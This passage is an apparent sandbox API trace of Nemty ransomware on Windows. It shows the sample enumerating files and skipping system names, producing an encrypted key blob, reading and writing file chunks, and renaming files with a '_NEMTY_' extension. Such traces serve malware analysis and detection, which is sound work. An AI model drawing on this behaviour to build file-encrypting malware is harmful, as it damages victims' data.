| out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.518] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.549] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.549] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0103.549] CloseHandle (hObject=0xffffffff) returned 0 [0103.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942d0 [0103.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0103.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0103.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.549] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnetwk.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnetwk.exe.mui._nemty_kgobjgd_")) returned 0 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.549] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.549] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="wmpnscfg.exe.mui", cAlternateFileName="")) returned 1 [0103.549] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2=".") returned 1 [0103.549] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="..") returned 1 [0103.549] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="...") returned 1 [0103.549] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="windows") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="rsa") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="NTDETECT.COM") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="ntldr") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="MSDOS.SYS") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="IO.SYS") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="boot.ini") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="boot.ini") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="ntuser.dat") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="desktop.ini") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="CONFIG.SYS") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="RECYCLER") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="bootmgr") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="programdata") returned 1 [0103.550] lstrcmpiW (lpString1="wmpnscfg.exe.mui", lpString2="appdata") returned 1 [0103.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0103.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0103.550] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.550] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0103.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0103.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.551] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wmpnscfg.exe.mui", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wmpnscfg.exe.mui", lpUsedDefaultChar=0x0) returned 16 [0103.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0103.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0103.551] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.551] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0103.551] Sleep (dwMilliseconds=0x5) [0103.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1608d50, dwHighDateTime=0x1d561e7)) [0103.566] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf1608d50, dwHighDateTime=0x1d561e7)) [0103.566] GetLastError () returned 0x5 [0103.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.566] GetLastError () returned 0x5 [0103.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.566] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.566] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0103.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.566] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.567] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0103.567] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="S8HljBDyt5zgtWu7+hPCBOxiZ56Gp0nQ33hzbkkHwP0Bo/tTVTAAX21iSk+CcV3f\r\nlfB9rhQWftLwrzb0xYA0mdF3E0+3Nf7HujjejkY+xVbQrjRN36DwHEZfGHZfVebV\r\nJGgOA1hRnKAasGS/GVKPhkBlAsTn6tqhT70HHq4av9K5Vsdl4dUtYBeS4jHfQigI\r\n71mJXUWV/6vmAHIAs3+hwDKViC0jOIlgFsagLcKllWA6haeOnPmTWTmsgnHxwfaX\r\nA8Vgh5hQ08E7zVrWqfLe1ldL+o1fFBGC/O2AqIWohXwPJFK88FsUsqbg48LLhVS9\r\n7RGF2jqpnaX3vDXGQocctg==\r\n", pcchString=0x653ef9c) returned 1 [0103.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.567] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0103.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.567] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnscfg.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnscfg.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.567] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.567] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.567] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.567] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.576] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.576] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.576] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.586] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.586] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.586] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.595] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.595] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.623] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.623] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.623] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.633] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.633] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.642] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 